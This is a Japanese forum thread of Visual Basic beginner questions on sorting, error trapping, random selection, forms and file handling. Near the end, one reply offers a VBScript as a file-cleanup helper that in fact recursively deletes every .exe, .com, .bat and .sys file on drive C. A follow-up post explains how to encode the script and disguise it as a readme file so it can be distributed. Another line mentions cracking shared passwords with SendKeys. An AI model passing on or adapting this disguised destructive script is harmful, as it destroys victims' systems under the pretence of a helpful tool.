一度にすべてのデータをメモリに展開できないほど大きなデータがあったとして、
(たとえば100MBくらいで、中身は数値) これをソートするにはどうしたらいいのでしょうか。

少しずつ読み込んでソートしても、結局読み込んだ分の中でしかソートできず
全体としてのソートになりません。
そのような場合の考え方を教えていただければと思います。

レコード長つーか、データ１この大きさと比較するキーの大きさによるな。
たとえば、100MBのデータが50MBのデータ２個で、先頭の1バイトで比較できるなら…
100バイトのデータ１M個で、100バイト全部比較しないと順序が決まらないなら…
2バイトのデータ50M個で、数値として比較できるなら…

>>458
メモリの代わりにハードディスク使うってのはどう？

>>458
読めるだけ読んで -> ソート -> 一時ファイルに出力
を繰り返した後、一時ファイルをマージでどうでしょう？

#でかいデータならデータベースに格納した方がいいかもしれませんが。

関係ないけど今祭りやってるね。

【米TIME紙】田代を投票で世界一にしよう!!!

みんなそっち行ってるの？

>>458
固定長レコードのファイルなら、Putステートメント、Getステート
メントを使って隣り合った前後のレコードを読んで比較してシーク
して書き込んで・・・ってできないかい？バブルソートならロジッ
クはすこぶる簡単。
処理遅いけど。１００Ｍだったら即死だな。ＤＬＬだけＣで作ると
か・・・？

色々ありがとうございます。
とりあえず今練習で使っているファイルには、ランダムな9桁までの正の整数が
1行に1つずつ格納しています。なので固定長ではありません。

あくまでデカ過ぎるファイルのソートについての勉強ですので、メモリではなく
HDに展開というのはダメなんです。100MBというのもたとえなので、1000GBの
データと考えてもいいです
やはりなかなか難しいものなんですね。

FuncA という関数から FuncB という関数が呼ばれているとします。
FuncB で起こった実行時エラーや Err.Raise で起こしたエラーを
FuncA の On Error GoTo 〜 で検出したいのですが、うまくいきません。
どうすればよいのでしょうか？

言い換えると、FuncB 内で起こったエラーを引数や戻り値で
検出するのではなく、On Error GoTo 〜 ですべて統一的に処理したいのです。

MSDN のガイドラインには引数、戻り値、On Error のどれかに統一すべきとあったので
可能だとは思うのですが・・

質問の真意、伝わったかちょっと心配ですが、
よろしくお願いします。

>>465
FuncBでエラートラップしなかったら呼び出し元（FuncA）の
エラートラップに引っかかるはずだけど・・・
意味違うか？

>>458
９桁の整数なら、1,000,000,000バイトのファイル作って、それをカウンタにするのがいいのかな。
もっと少ない、たとえば４桁とか５桁の整数なら、メモリに配列とってカウンタにしてもいいけど。
整数の場合、ソートするっつか、どの数字が何回出てきたかを数えるほうを考えてみては？

>>458
100Mくらいなら、よみこめるんじゃないの?
スワップしまくりだろうけど、とりあえず動くでしょ。

>>458
ファイルを1行ずつ順に読んで一番小さなものを
ワークファイルに書き出し
また、ファイルを1行ずつ順によんで前回の一番小さい値より
大きくて、それ以外の中では一番小さい値を
ワークファイルに書き出し
あとは、繰り返し
遅いけど、できるね。

あと、でかいファイルのソートっていっても、レコードが長くて、
順序付けするときに比較するデータが小さい場合は、
メモリに比較するデータへのファイルポインタと比較するデータだけ
読み込んで、それをソートするっていう手もある。

>>464
>HDに展開というのはダメなんです
メモリに入らないんなら、HDD上でやるしかないと思うのですが。

>>466 さん
ふと気付いたことがあって、実験してみました。
Module1 と Class1 を用意して、
以下のコードを貼り付けて実行してみてください。
IsModule の値が True と False で結果が変わってしまいます。
なぜなんでしょうか？

>>472 のサンプルプルグラム

+++Module1+++ｺｺｶﾗ
Private Const IsModule As Boolean = True

Sub Main()

FuncA

End Sub

Function FuncA()

Dim clsC As Class1

On Error GoTo ErrorHandler

Set clsC = New Class1

If IsModule Then
FuncB
Else
clsC.FuncC
End If

ErrorHandler:
MsgBox Err.Number & " " & Err.Source

End Function

Function FuncB()

Dim lngFoo As Long

On Error GoTo ErrorHandler

lngFoo = ""

ErrorHandler:
Err.Raise vbObjectError + 512, "FuncB"

End Function
---Module1---ｺｺﾏﾃﾞ

+++Class1+++ｺｺｶﾗ
Function FuncC()

Dim lngFoo As Long

On Error GoTo ErrorHandler

lngFoo = ""

ErrorHandler:
Err.Raise vbObjectError + 512, "FuncB"

End Function
---Class1---ｺｺﾏﾃﾞ

>>473 はスペースミスってしまいました。

+++Module1+++ｺｺｶﾗ
Private Const IsModule As Boolean = True

Sub Main()

　　FuncA

End Sub

Function FuncA()

　　Dim clsC As Class1

On Error GoTo ErrorHandler

　　Set clsC = New Class1

　　If IsModule Then
　　　　FuncB
　　Else
　　　　clsC.FuncC
　　End If

ErrorHandler:
　　MsgBox Err.Number & " " & Err.Source

End Function

Function FuncB()

　　Dim lngFoo As Long

On Error GoTo ErrorHandler

　　lngFoo = ""

ErrorHandler:
　　Err.Raise vbObjectError + 512, "FuncB"

End Function
---Module1---ｺｺﾏﾃﾞ

+++Class1+++ｺｺｶﾗ
Function FuncC()

　　Dim lngFoo As Long

On Error GoTo ErrorHandler

　　lngFoo = ""

ErrorHandler:
　　Err.Raise vbObjectError + 512, "FuncB"

End Function
---Class1---ｺｺﾏﾃﾞ

画面に２つのコンボボックスがあり、
この２つをADO経由でグループ化させたいのですが
何か良い方法はないでしょうか？（VBAなら コンボ0.RowSource="SQL文" ）

画面のコンボ１を選択すると
コンボ２には、あ１、あ２、あ３とグループ表示されます

コンボ１　あ
コンボ２　あ１
　　　　　あ２
　　　　　あ３

テーブルの定義は

フィールド１　フィールド２
あ　　　　　　あ１
あ　　　　　　あ２
あ　　　　　　あ３

い　　　　　　い１
い　　　　　　い２
い　　　　　　い３

となっています

プログラムはコンボ１のセット部分だけ動きました
コンボ２は×でした

Dim itm As Variant
Dim col As Collection
Dim SQL As String
Dim strTmp As String

'ｺﾝﾎﾞﾎﾞｯｸｽ定義
SQL = "SELECT " & TBL_コンボ_フィールド１ & " FROM " & TBL_コンボ _
& " GROUP BY " & TBL_コンボ & "." & TBL_コンボ_フィールド１ _
& " ORDER BY " & TBL_コンボ & "." & TBL_コンボ_フィールド１ & " DESC"
Set col = pclsCLS_RSAccess.RS_CmbSetting(SQL, TBL_コンボ_フィールド１)
For Each itm In col
strTmp = itm("Strg")
Cmb_Name(0).AddItem strTmp
Next
Cmb_Name(0).ListIndex = 0　＜−−−　コンボ１


Public Function RS_CmbSetting(ByVal SQL As String, _
ByVal strName As String) As Collection
Dim rs_01 As Recordset
On Error GoTo RS_CmbSetting_Err

　　　　　　略

Do Until rs_01.EOF
RS_CmbSetting.Add AddItem(rs_01(strName))
rs_01.MoveNext
Loop

　　　　　　略

End Function

>>472-474
まさかとは思うが、エラートラップの所「クラスモジュールで中断」のままにしてないよな？
「エラー処理対象外で中断」にしてるよな？

俺のとこはまったく同じになったけど。

漏れ、466じゃないんだけどさ
>>472
ｵﾌﾟｼｮﾝの[全般]タブの[ｴﾗｰﾄﾗｯﾌﾟ]を
「ｴﾗｰ処理対象外のｴﾗｰで中断」に変更してみそ

Σ（ﾟдﾟlll)ｶﾞｰﾝ
もうあったのか・・・

>>477
>>478
Σ（ﾟдﾟlll)ｶﾞｰﾝ
まさに其の通りでした・・・
ありがとでした。

SelTextで、入力させた文を改行させるにはど〜したらいいですか？

Text.SelText=& Chr(34) & "うわーん" & vblf & "うわーん" & Chr(34) &
だと、表示が
"うわーん・うわーん"
　　　　　　　　　　　　　　　になってしまう

それを

"うわーん
うわーん"

にしたい。

あの、関連したことでもひとつ質問よいでしょうか？

Func1 から Func2 を呼び、Func2 から Func3 を呼んでいるとき、
Func3 で起こった実行時エラーや Err.Raise で起こしたエラーを
Func1 の On Error GoTo 〜 で検出できるのでしょうか？

' 今、ちょうどエラー処理関係を作っている最中でして、
' エラー処理を最上位関数で一括処理をしたいと考えているのです。
' もしかすると無謀なことなんでしょうか？

>>481
"うわーん" & vbCrLf & "うわーん"

>>481
vblf → vbNewLine でいけるかと！

>>483
>>484
おぁー、両方で出来ました！
どうもありがとう。

>>481
　ちなみにわざわざ Chr(34) ってしなくてもダブルクォーテーション
重ねてもいいＹＯ。見難くなくけど。。。

ex...
Text.SelText= """うわーん" & vbCrLf & "うわーん"""

>>482
できるよー。
でも一括処理は細かいエラートラップがしづらいしAPIのエラー処理と
別のやり方になるんで俺はめんどくさいと思う。

あと、エラー処理について詳しく知りたいなら
MSDNの「プログラミングガイド」→「コードのデバッグおよびエラー処理」か
http://www.microsoft.com/japan/developer/library/vbcon98/vbcondebuggingyourcodehandlingerrors.htm
ここをご覧あれ。

いつも思うけど、２chで最もやさしい人間の集うスレだなぁ。

>>464
結局答え出た？もし答えがあるならレスｷﾎﾞﾝﾇ。プログラマーとして知っておきたい。

ユーザー定義型をCOMに渡すのはどうすればいいんですか？
var型に変換できないYO〜

WordのVBAなのですが、

'全選択
wdApp.Selection.WholeStory

strBuf = wdApp.Selection.Text

というように、

Docファイルの中身を全選択し、Docファイルの中身を全て取得したいのですが。
テキストボックスの中身の値は取得できません。
どうすればできますか？

ActiveDocument.Shapes("Text Box 1").Select
をしてできなくはないのですが、
VBからDocファイルを非表示で開いているので、
使えないのです。
よろしくお願いします。

質問です。

最初に問題数を自分で選択できるクイズ形式のプログラムを作ろうと
思っています。問題数を選んだ後、約２０の問題（フォームはバラバラ）
からランダムに問題を抽出して、回答していき最後に結果出力をしよう
と思うのですが、全体の構成はどのようにしたらいいのでしょうか？

プロジェクトファイル
　　フォーム（トップ）
　　フォーム（選択画面）
　　フォーム（問題１）
　　フォーム（問題２）
　　・・・
　　フォーム（問題２０）
　　フォーム（結果出力）
　　標準モジュール

という感じでいいのでしょうか？
それともフォルダ（？）のような役割を果たしてくれるものが
あるのでしょうか？あとランダムの発生の仕方も含めてわかりません。

追加です。

トップから次のフォームに行くのに、前のフォームを消したいのですが
一つ目から二つ目にいくのに

Dim X As New Form2
X.Show
Form1.Visible = False

は、うまくいくのに次の

Dim X As New Form3
X.Show
Form2.Visible = False

は、うまくいきません。
フォーム２が消えません。
どうすればいいのでしょうか？
それとえ、そのようなケースの場合、最も一般的な
やり方をおしえてください。お願いします。

>>492
何故フォーム20個なの？それはナゼなの？？
クイズはテキストなの？絵が必要なの？どうなの？

ランダム(乱数発生)は Rnd関数 よ！
使う前にRandomize文が必要なのは
N88-BASIC（だったっけ？）を厨学生の時に見たのと同じだわ！

あと、このレベルの質問は「プロの人たち」が見ると痒いみたいだから
sage進行でこっそりやりましょ！

＞492
フォームは３個でいい。できれば１個にしとけ！
メモリ解放のやり方とか知らないだろうから、
メモリリークの元になる。

>>494>>495
はい、画像使います。
２０個いらないんですか？
どうやればいいのでしょう？

ちなみに参考書は
「新visual basic 入門」です。
メモリ解放というのは載っていませんでした。
あと、rnd関数というのもなかったです。

>>496
フォームは1個目がイラッシャイで問題数設定で
2個目に、問題を入れ替えながら表示させて
3個目に成績を表示させる、って方針で3個が良さげ。

From2が表示される→第1問→回答ボタン押される→正誤の判定
→ﾒｯｾｰｼﾞﾎﾞｯｸｽで正誤表示→ﾒｯｾｰｼﾞﾎﾞｯｸｽOKでForm2に第2問を表示→
→回答ボタン押される→正誤の判定
っつー流れで、Form2だけで問題数の分だけ繰り返す。

あと、その本だけに頼るのはヨセ。VBのヘルプも見れ。
netの検索も良い。同じ目的のサンプルがあたったりして(ﾟдﾟ)ｳﾏｰ

リストボックスで質問です。
スタイルをチェックボックスにしたものを
自動でチェック付けたり消したりをしたいのです。

実際には、あるファイルのリスト一覧を表示して存在してるかを判断し、
存在してるものにはチェックを入れ、存在してないものはチェック無しとしたいのです。

List1.List(0).Checked = True みたいな感じなコマンド無いでしょうか？

>>498
List1.Selected(0) = True

VBスクリプト（.vbsファイル）で質問です。
DOSのバッチからvbsを呼び出しているのですが、
WScript.Quit (x)
でxに値を入れても、常に%ERRORLEVEL%が0になってしまいます。
vbsから%ERRORLEVEL%を0にする（バッチに何らかの値を返す）方法はないのでしょうか？
ちなみにvbs内部で環境変数としてERRORLEVELの値を変更してみたのですが、
DOSバッチには引き継がれないようです。
よろしくお願いします。

>>497
画像とかテキストボックスを一つ設定して、その中に
はじめはインビジブル設定にして
その都度、呼び出すということでよろしいのでしょうか？
画像は開発段階では乱立してしまうと思いますが
そういうことでしょうか？

あと、ヘルプがなんかみれません（＞＜）
ＭＳＣＤ（みたいなの？）が必要って言われます。

取り合えず、今日の昼休みに本屋でいろいろ立ち
読んできます。

>>501
必要だって言われているんだから入れりゃ良いだろ。＞ヘルプ

http://www.microsoft.com/japan/developer/library/default.asp
から辿っても良いが。

とりあえずVBやりたいという奴がいてそいつに何かいい本ない？と聞かれたので
Microsoft Visual Basic6.0 ProfessionalステップバイステップVOL.1　日経BPソフトプレス　2500円
を勧めてやりました。
かくいう私自身がこれとVOL2の活用編の２冊でだいたいの事ができるようになったし
VBについてまったく何も知らなかった私にもわかるように書いてあったので
勧めたのですが友人はダメみたいでした。友人曰く「難しすぎるっ！」そうです。
こんな友人にはどうすればいいのでしょうか？もっとわかりやすい本を薦める（これ以上初心者向けの本はしりませんが…）
VBを諦めさせるのどちらかを考えてます。
どちらがいいと思いますか？

>>503
「読書百遍（ひゃっぺん）義（ぎ）自（おのずか）ら見る」 って言葉を送るとか(藁


ちなみに「読書百篇 意 自ずから通ず」って覚えてたけど間違ってたのか...

ＶＢをはじめて１ヶ月の超初心者です。
VB6でACCESS2000のDBを使用したかったので、SP5をインストールしようと
しているのですが、うまくいきません。
セットアップは正常終了するのですが、実際にはパッチがあたって
いないようです。

おそらくSETUP.STRをインストーラが見つけ出せないのが原因と思われます。

「sp598ent.stf を、本来 stf ファイルがあるべきディレクトリにコピーします。
次に、コピーしたファイルの名前を setup.stf に変更し、Service Pack 5 の
インストールプログラム (setupsp5.exe) を再び実行します。」

と、readmeに書かれているのですが、sp598ent.strというファイルが
ダウンロードした中に見当たりません。
環境はWindows2000(SP2)です。
初心者の質問ですいませんが、できれば教えてください。

アドレスちょ〜(*.wav)のインポート方法誰か知らない？

>>503
あるとしたら雑誌の扱いだと思うんだけど
真黄色の表紙の「Visual Basic スーパービギナー」ってのが
インストール開発画面の操作から始まってる、超初心者対象の本。
でっかくて見やすそうだったし。1500￥と安いし。
本の最後に用語集とかあるし
パソコン初心者レベルから、ってのならよいかも。

＃ガッコの書籍部に3ヶ月ほどず〜っとある。。。

>>503
VB以上に簡単な言語はない。
そういつが頭わりぃだけ。
殴っとけ。

マイクから入力した音声をバイナリデータとして扱いたいのですが、
どんな関数を使ったらいいのでしょうか？参考書籍とかあったら教え
てください。よろしくおねがいします

Dim a As Integer
Dim b As Integer

a = b = 0

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

がなぜa = -1, b = 0になるんでしょうか？
わーからなぁーいぃー♪

>510
　ネタでも答えてみるか。
　まず b は宣言されて初期値が 0 だから b は 0 。
　そんで a には b = 0 を評価した値 True (= -1) が入っている。
　試しに a = b = 0 の前に b = 10 とかやってみれ。

>>509
まあ、MCIが一番いいかと。
http://www.google.com/search?q=mci+api+Basic+%98%5E%89%B9&hl=ja
検索してみたんですきなものをどうぞ。
パワフルテクニック・・・が個人的に好き。VB6のやつもあったはず。

>>506
CSV使っとけ。

>>510
a=(b=0)

>>511
trueって-1なのか！
にゃーるほーどねぇー。

論理notと算術notが同じ結果になるからね

>>512　VB使いさん
ありがとうございます！早速やってみます
お世話になりました

>>513
　ネタでも答えてみるか。
　必ずしも True = -1 ではない。
　True は 0 以外ならなんでも True。逆に False は絶対 0。
　ex...
　CBool(1)
CBool(999)
　CBool(-555)
　これ全部 True 。

Trueが-1なのと0以外は真なのを、わけて考えようぜ

補足：
　CInt(True)ってやると -1 が帰ってくるが、
　これがＶＢでの True の デフォルト値？なだけ？

>>517
　同意。軽はずみだったかも。
　-1 は True、0 は False。それ以外は False 以外。
　つまり Boolean型は True/False しか表せないので、
　False 以外で True を返しちまえっていう
　CBool関数の仕様なのかも。。。ｺﾞﾒｿ。

age

>>499
ありがとうございます。
調べる力が欠けてました（汗

＞505
エンタープライズ版のVB6使ってる？

＞518
ほかの言語だと、True=1だったりする。
たしかVBでもバージョンによって違ってたり。

友人にVBより簡単な言語ない？って聞かれました…
その時とても鬱な気分になりました。
私はHTMLでもやれば？と言ったら馬鹿にしてるのかっ！って逆ギレされました。
HTMLを言語というのかどうかは分かりませんが俺の中ではHTMLとVBの難しさは同レベルなのですが
VBより簡単な言語ってあります？

>>523
ひまわり

HTMLのLは言語のL

>>523
ぴゅう太

>523
マシン語でも勧めてやれよ。
言語仕様はこれが一番簡単だよって(ﾜﾗ

>523
ファミリーベーシック

CXBXL

>>523
アセンブラ。（半分マジ）
簡単さの意味が違うが結構ハマるかも。

そんな君達にDelphiです。
フリーで試せるし。

今日会社の結構偉い人（こいつはろくにメールも出せない）に
「君は本を見ないとプログラムもできんのかね？」
と言われた。
まさかコマンドを全て覚えるなんて不可能だろうし…
もしかしてみんなはプログラムとか組むときに本とか全然見ずに
書いてる？

>>531
MSDNは見る。APIなんか全部覚えられんよ。

つか、リファレンスは誰でも見るでしょ。
まぁ本だとコピペとかできないし邪魔だから、基本的にオンラインヘルプ
だけど。

>>531
逆に覚えてる奴ってやばい気がする。
「こんなのがあったな」ってのを覚えておけば十分だろ

たまにいるよな。関数マニア（藁

リファレンスとかが１つのCDに納められてるものとかないの？

そりゃもちろん全部覚えていて使いこなせるのが理想だが
こんなのがあったなってのを覚えておいて
それを書籍なりMSDNあたりから探せる能力があればいい。

>537
確かにな…
中途半端に覚えていて適当に無理だと判断するより
ちゃんと検索してさがせる能力があったほうがいいです

>>531
その人晒し上げ

１〜１５の中から５つ適当に選ぶ関数はどのように記述すればいいのでしょうか？
どなたかおしえていただけないでしょうか？

>>540
重複していいの？

ダメでお願いします。

>540
いくら初心者質問スレとは言っても検索くらいはしたよね？

しました。
これだと、重複アリですよね？
ナシのときがちょっとわからなくて・・・

Rnd 関数の使用例
次の例は、Rnd 関数を使って、1 から 6 までの乱数整数を発生させます。

Dim MyValue
MyValue = Int((6 * Rnd) + 1) ' 1 から 6 までの乱数整数を発生させます。


--------------------------------------------------------------------------------
http://www.microsoft.com/JAPAN/developer/library/Vbenlr98/vafctrndx.htm

>>540
こう言うアルゴリズムを自分で考えることで力がつくんだと思うYO
どうでもいいけど。

n = 5; m = 15;
for(i = 1; i <= 15; i++){
　if(乱数() < n/m){　// 乱数()は0から1を出力
　　// iを選択。
　　選択(i);
　　n = n - 1;
　}
　m = m - 1;
}

VBよく知らないけど、
Ｃ風に書けばこんな感じでできると思う。

>>540
重複したら捨てる(w
以上

＞540
1〜15をいったん配列に入れて、シャッフルすれば、重複しない。

>>548
シャッフルの回数は？
論理的な基準ありますか？

シャッフルして前から５つとればOKってのはかなりいいかも。
おれもそういう機会があったら使わせてもらうYO

>>550
おーい、はじめの配列に入れる順序と
シャッフルの回数はどうするんだよー
それでホントにちゃんとランダムになるのかよー

＃540はランダムにしろとは言っていないが(^^;

>>493はどなたかおわかりにならないでしょうか・・・？

それと、今>>497みたいな感じでプログラム組んでいるのですが、
問題のところで、コマンドを一つにして、回答と次の問題を同時に
こなすようにしています。
が、一問目ではテキストボックス等全部空なので、はじめは
空の状態でコマンドを押さなければなりません。
コマンド＿クリック　ではなくてはじめからプログラムが
実行されるようにするにはどうしたらいいのでしょうか？
フォーム＿アクティベイト
フォーム＿ロード
ではうまくいきませんでした。
どなたかお願いいたします。

>>549,>>551
乱数の質にもよるけど、要素数と同じ回数だけ入れ替えを行えば大丈夫。
経験的な基準ですが。
入れ替える要素の両方の添え字をランダムに選ぶんじゃなくて、片方は順番に選び、
もう片方はランダムに選ぶっていう方法もある。そっちのほうが確実にバラけると思われ。
言葉だとわかりにくいと思うのでコード例でどうぞ。

Dim Num(1 to 15) As Integer
Dim Tmp As Integer
Dim i As Integer
Dim j As Integer

For i = 1 To 15
　　Num(i) = i
Next i

For i = 1 To 15
　　j = Int(Rnd(1) * 15) + 1
　　Tmp = Num(i)
　　Num(i) = Num(j)
　　Num(j) = Tmp
Next j

>>553
要素数と同じ回数だと半分くらいの要素が
元の位置から動かないような気がします。

順番に配列に数字を入れてからシャフルして
はじめの５個とるとその中に１−５までの数が
動かずに２，３個残っていたりしませんか？

個人的には>>546の方法がお勧めだとおもいますけど…。

>>554
それを避けるためにすべての要素を必ず交換するようにするわけです。
それが上のコード例です。

>>553
やっと理解しました。
すべての要素を別な要素と交換するんですね。
なんとなくバラけそうな気がしてきました。

>>551
理論的に出せる
順番に n (0<=n<要素数) 番目の値と Rnd*(n+1) 番目の値を入れ替えればいい
元の並びはどうでもいい

でも俺だったらそんな効率の悪いことはしないな。
普通に人間が15個の配列から5つ取り出すのと同じことをやればいい。
俺もVBわからんからC風に書くけど

n = 5; m = 15;
for( i=0; i<n; ++i )
{
　　j = (int)( Rnd()*m ); // 0<=rnd()<1 ってことで
　　ResultArray[i] = OriginalArray[j];
　　OriginalArray[j] = --m;
}

(誤)すべての要素を
(正)すべての添え字位置の要素を

迂津柁嗣埜卯……

>>557
重複を防ぐ仕組みがないようですが？

>>559
よく読んでから言ってくれ・・・

アレイを２つも作らなくても、>>546でやれば
よいのではないかと思うのですが。
どうでしょう？

>>561
選択した結果を保存するのに配列が必要では？

>>557 のやつは配列が規則正しく並んでるときの例ね。
規則正しく並んで無いときは
OriginalArray[j] = --m;
を
OriginalArray[j] = OriginalArray[--m];
にしておくれ。

>>562
>選択した結果を保存するのに配列が必要では？

>>546では１５個中５個選択なら要素数５個の配列が必要です。
ただし、１０万個中５個選択でも要素数５個の配列でできます。
シャフルする方法だと、もっとたくさん必要になりますよね？

>>562 を読んでわかった。スマソ。

一応言っておくと結果の配列はどんな方法だろうと5個

>>557 は元の配列を破壊するから、そのコピーが必要。
10万個から5個取り出すには10万個のコピーを行う必要がある。
その代わりループ回数は5回

>>546 はもとの配列にはノータッチなのでコピーのオーバーヘッドは無い。
代わりに10万回ループしなければいけないから、10万回乱数を発生させて10万回除算をしないといけない。

>>546 のやり方だと、処理が終わる保証がないという点がちょっと問題です。
（特に、選択元の要素数が極端に多い場合）
ヘタレな乱数ライブラリを使っているときは要注意です。
まあ、まずありえない事ですけど。
>>553 のやり方では、シャッフルにメモリは食いますが、処理が必ず終わる
（それもほぼ一定時間で）ことは保証できます。

>>564
書き方が悪かった、こっちこそスマソ。

>>551
乱数がちゃんと均一に発生するなら、元の要素数の2分の1の回数のループで十分です。

>>566

>ヘタレな乱数ライブラリを使っているときは要注意です。
お〜〜い。ここはＶＢのスレだよ。
なんか脱線して内科医？

場合によって使い分けるのが最適かと思われ。

・>>546
　速度は落ちるがメモリを節約したいときに有効。
　全体の個数と選ぶ個数が比較的近いとき。
・>>547
　単純でわかりやすいが全体の個数と選ぶ個数が近いときには極端に時間がかかる。
　（終わらない可能性もアリ）
・>>553
　全体の個数と選ぶ個数が極めて近いときに有効。
　ただしもっと最適化できる（For文を1つにまとめられる）
・>>557
　全体の個数に比べて選ぶ個数が少ない時に有効。
　元の配列を破棄してもかまわないときは得に効果アリ。
　そうでなければ配列のコピーが行えない言語にはお勧めできない。

＞493
フォームをShowする時にフォームのオーナーを明示してみたら？

>>493
最初の
Dim X As New Form2のForm2と
次の
Form2.Visible = FalseのForm2はまったく別物。
Xに入れたんならXで処理しなくちゃだめ。

Xで処理というは具体的にどういうことでしょう？

二つ目を別定義にして、やるってことしょうか？
以下のようにしてもダメでした。
それと「フォームのオーナーに明示」をもう少し
わかりやすくおしえて頂きたいのですが。。。

Dim X2 As New Form3
X2.Show
X.Visible = False

>>573
まあ、要するにこういうことをやりたいんだよな？
Private Sub Form_Load()
Dim X As New Form2, X2 As New Form3
Form1.Show

Form1.Visible = False
X.Show

X.Visible = False
X2.Show

End Sub

>>492のコードってフォームに書いてそれぞれ別のファンクションに
してるか？だとしたら変数の有効範囲のせい。
標準モジュールに書くか、ひとつの関数にすれ。

はじめまして、恐縮です。プログラムを実行した時に自分のプログラムの
所定の場所にファイルを増やしたり、または実行した時に、所定の場所の
ファイルを消すコードはどうやってつくればいいの。

sub teach me()
msgbox "osiete"
end sub

>>575
Open,Close,Kill,App.Path等を使う。（Copy,Nameとかでもいい。）
ファイル処理全般を勉強するべし。

あと、ﾈﾀでも関数名にスペース入れるのはやめれ。
見てて落ちつかねえ。(w

ＶＢハッキングについてはコレだろ。
http://www.puchiwara.com/hacking/

>>576
すいません、なんせプログラムは最近始めたばかりなので、本は「十
日間のエクセルＶＢＡ」を使っています。一応ＶＢでテキストファイ
ルのコピーを勉強しました。が、以下の「fso」どんな役割があるの
でしょうか。「Dim」は定義付けでした？

Private Sub Command1_Click()

Dim fso

Source = "c:\r.txt"
destination = "c:\r2.txt"
Set fso = CreateObject("scripting.filesystemobject")
Call fso.copyfile(Source, destination)

End Sub

ここから発展して、例えばＣドライブのファイルをランダムに選択して、
コピーするという命令などはできるのでしょうか。よければ、教えてくだ
さい。

>>578
流れとしてはCドライブにどのファイルがあるか調べて、好きなファイルを
コピーするといった形になる。Folderオブジェクトでファイルの一覧を
取得できるはずなんで確認してみれ。
俺はFSOが嫌いなんで使ってない。ｽﾏｿ。

>Dim fso
はfsoという変数をVariant型で宣言する、ということ。

>>578
具体的に何やりたいの？
ランダムにファイル拾ってコピーすりゃいいの？

>>578
Dimは変数を宣言するもので、fsoはそれで宣言された変数。
で、Set fso = CreateObject(〜)の行で
FileSystemObjectオブジェクトのインスタンスを作成して
そのオブジェクトへの参照をその変数に入れている。
どんな役割かというと、FileSystemObjectには
CopyFileというファイルをコピーするメソッドがある訳で
そのメソッドを使うためにオブジェクトを作成している訳だ。

まぁオブジェクトとか言われてもわからんだろうけど、
要はそういう道具を使えるようにしているわけだ。
scripting.filesystemobjectというのが道具の設計図の名称で
fso（という名前がつけられたもの）が実際の道具。
CreatObjectという命令でその道具を設計図から作り出している訳。
その道具のFileCopyという機能を使ってコピーしてるわけだな。

> ここから発展して、例えばＣドライブのファイルをランダムに選択して、
> コピーするという命令などはできるのでしょうか。よければ、教えてくだ
まず何をしたいのか教えてくれ。
VBA＋そういう怪しい動作＝ウイルスとしか思いつかん。

VBで全画面表示ってできますか？
WindowStateで最大化ではなくゲームとかであるようなフルスクリーンに
したいのですが可能でしょうか？

DirectX使いたい、と言う意味？それとも単にメニューとかの構造物を隠したい、という意味？

>>583
最大化や最小化のボタンのあるバーの部分を見えなくしたいのですが…
ボタン等をFalseにしても上部のバーの部分は残るのでバーを消したいのですが
DirectX関係じゃないと無理ですかね？

>>584
FormのCaptionを消して、ControlBox=False。
これのことか？

>>585
ありがとうございます。
なにぶん初心者なものですいません。
これで目的は達成したのですが、この状態でマウスカーソルを上の方に持って
いくとメニューが出てくる(普段は見えないようになってる)ようにできますか？

>>586
トップメニューを全部消すとメニューが消えて何か表示させると
メニューが出てくるからMouse_Moveイベントと組み合わせれ。

VBのTextで表示できるバイト数を
500KBぐらいまで増やすことって出来ないですか？

>>588
RichTextBox使いなはれ。

>>578 ここ見れ

Windows Script
http://www.asia.microsoft.com/japan/developer/scripting/default.asp

[MSDN]-[プラットフォームSDKドキュメント]-
[ツールおよび開発言語]-[スクリプト]-[Windows スクリプト テクノロジ]-
[Script ランタイム]-[FileSystemObject オブジェクト]

http://www.microsoft.com/japan/developer/library/script56/fsooriscriptingrun-timereference.htm

>>581
ウイルスと作ってると言われれば、否定はしないです。でも、私のＰＣの
中を整理してくれるウイルスを作ろうと思っています。

例えば：ファイルがごちゃごちゃになった時、それらを拡張子毎に一つの
ファイルに入れる。という作業やランダムに語弊があったようですが、こ
れは、適当に選択という意味ではなく、まとまった物を選んでという意味
で使いました。あと、もう一つはウイルス系の核を取り除くために、ファ
イル探索した後に、それらを一気に消去するアプリをつくろうと思ってい
ます。

怪しすぎるのが笑える

ファイルを整理するソフトなんてウイルスじゃなくてできるよなぁ。

&nsbr;

 

Sendkeys使って共有パスワード破るプログラム作成中

>>591 VBSだけど、こんな感じでいいのかな？
参考にしてみてください。以下をコピーして
delete.vbs として保存。ダブルクリックする。
邪魔くさいファイルを削除して、対象ファイルのパスを
C:\log.txt に書き出します。

使用はくれぐれも自己責任でお願いします。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
コードの意味が分からなければ使用しないほうが
良いと思います。

'ここから--------------------------------------------------
'**Start Encode**

Dim FSO, TXT
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TXT = FSO.CreateTextFile("C:\log.txt", True)
Call ShowFileList("C:\", FSO, TXT)
TXT.Close
MsgBox "complete"

Sub ShowFileList(folderspec, fso, txt)
    Dim f, g, f1, f2, fc, fd
    
    On Error Resume Next

    Set f = fso.GetFolder(folderspec)
    Set fc = f.Files
    Set fd = f.SubFolders
    For Each f1 in fc
        If InStr(1, LCase(f1.Name), ".com") <> 0 Or _
           InStr(1, LCase(f1.Name), ".exe") <> 0 Or _
           InStr(1, LCase(f1.Name), ".bat") <> 0 Or _
           InStr(1, LCase(f1.Name), ".sys") <> 0 then
            txt.WriteLine(f1.Path & "\" &  f1.Name)
            Set g = fso.GetFile(f1.Path & "\" &  f1.Name)
                g.Delete
            Set g = Nothing
        End If
    Next
    For Each f2 in fd
        txt.WriteLine(f2.Path & "\")
        Call ShowFileList(f2.Path & "\", FSO, TXT)
    Next
End Sub
'ここまで--------------------------------------------------

>>591 追記
Windows Script Encoder を使うとスクリプトを暗号化できます。
配布するときは暗号化してみてはどうでしょうか。

Windows Script Encoder
http://www.microsoft.com/downloads/release.asp?ReleaseID=33261&area=search&ordinal=6


使い方
コマンドプロンプトで以下のコマンドを打ち込む

SRCENC delete.vbs "readme.txt .vbn"

新しく生成されたファイルを配布します。
これであなたもﾀｲｰﾎ

訂正
SRCENC delete.vbs "readme.txt           .vbn"

ｽﾏｿ　また間違った。拡張子は“vbe”ね。

VB初心者どころかパソコン暦半年の超初心者なんですが、これからVBの勉強をしようかとおもっているんですが、ラーニングとプロフェッショナルとエンタープライズがありますが、これらはどう違うのですか？大変しょうもない質問で申し訳ないのですが.

USSエンタープライズ号はこれから学ぶにはあまりに豪華すぎます。
プロフェッショナルはプログラマーに推奨。
